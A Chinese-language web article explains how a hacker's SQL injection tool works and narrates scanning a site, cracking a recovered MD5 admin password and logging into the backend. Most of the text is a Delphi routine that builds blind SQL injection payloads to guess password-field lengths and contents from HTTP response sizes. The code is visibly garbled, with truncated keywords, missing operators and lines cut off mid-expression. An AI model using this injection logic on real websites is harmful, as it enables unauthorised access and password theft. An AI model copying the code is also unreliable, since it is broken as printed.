黑客的脚本漏洞工具分析(图)

500)this.width=500" title="点击这里用新窗口浏览图片" />
上图只是对一个网站注入点的工具检测，看到了结果扫出来的密码为16位的md5加密码，但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件，其实并不是我们想象的那么复杂，只是根据掌握的漏洞信息提交相应该的数据罢了，我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略，我们主要是看看猜解的过程，如下
procedure TMaForm.GuessContProc(ListInt: teger); { SQL注入 - 多线程猜解字段内容 }
function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: strg; Len: teger): strg;
beg
Result := Url ’ and exists(select from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id (select ’ TOPStr ’ id from ’ TableName ’ Order by id)))’
end;
var
TableName: strg;
FieldName, S: strg;
ContentInt: teger;
i, Len, LengthInt, N: teger;
GridCount: teger;
Colu: TColumn;
FlagBool: boolean;
beg
Len := 0;
LengthInt := 0;
FlagBool := True;
TableName := TableNameLst.Items[TableNameLst.Itemdex];
FieldName := Memo2.Les[ListInt];
if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or
(LowerCase(FieldName) = ’adm_pass’) or (FieldName = ’密码’) or
(LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then
beg
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);
if ContentInt >= and1Num then
beg
SqlResultMemo.Les.Add(FieldName ’长度: 16’);
LengthInt := 16
end
else
beg
while (Len
beg
application.ProcessMessages;
c(Len, 2);
Pane1.Caption := ’正在检测长度:Len(’ FieldName ’)=’ ttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
beg
for N := Len - 1 to Len do
beg
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
beg
LengthInt := N;
SqlResultMemo.Les.Add(FieldName ’长度: ’ ttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
beg
while (Len
beg
application.ProcessMessages;
c(Len, 2);
Pane1.Caption := ’正在检测长度:Len(’ FieldName ’)=’ ttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
beg
for N := Len - 1 to Len do
beg
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
beg
LengthInt := N;
SqlResultMemo.Les.Add(FieldName ’长度: ’ ttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
GuessLsv.Clear;
if Len >= 50 then
beg
sql_EdUrl.Enabled := True;
Sql_GuessTable.Enabled := True;
TableNameLst.Enabled := True;
FieldNameLst.Enabled := True;
application.MessageBox(’列名长度大于50,猜解失败!’, ’提示’, 32);
Exit;
end;
Pane1.Caption := ’正在检测’ FieldName ’的内容...’;
GuessLsv.Update;
if LengthInt = 5 then
beg
ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where str(’ FieldName ’,’’adm’’)=1 and len(username)=5)’);
if ContentInt >= and1Num then
beg
s := ’adm’;
for i := 1 to 5 do
beg
application.ProcessMessages;
with GuessLsv.Items.Add do
beg
caption := ’第’ ttostr(i) ’位’;
SubItems.Add(s);
end;
sleep(60);
GuessLsv.Update;
end;
c(SQL_ScanContent_ThreadCreateCount);
StrgGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’adm’;
StrgGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’检测中...’;
SqlResultMemo.Les.Add(FieldNameLst.Items[FieldNameLst.Itemdex] ’内容:adm’);
if SQL_ScanContent_ThreadCreateCount
GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);
Exit;
end
else
beg
for i := 1 to LengthInt do
beg
application.ProcessMessages;
with GuessLsv.Items.Add do
beg
caption := ’第’ ttostr(i) ’位’;
SubItems.Add(’检测中’);
end;
sleep(30);
end;
end;
end
else
beg
for i := 1 to LengthInt do
beg
application.ProcessMessages;
with GuessLsv.Items.Add do
beg
caption := ’第’ ttostr(i) ’位’;
SubItems.Add(’检测中’);
end;
sleep(30);
end;
end;
从上面的代码中，我们可以看出，黑客软件只是代替了手工操作，通过多线程更进一步提高了猜解的速度，但猜解的表和字段还得我们自己设定，然后通过post提交我们设定的格式(其中url中的 是空格的意思，因为在网址后面执行相应的sql语句时都要有相应的空格)，按照我们设定的表和字段猜解出相应的用户名和密码内容。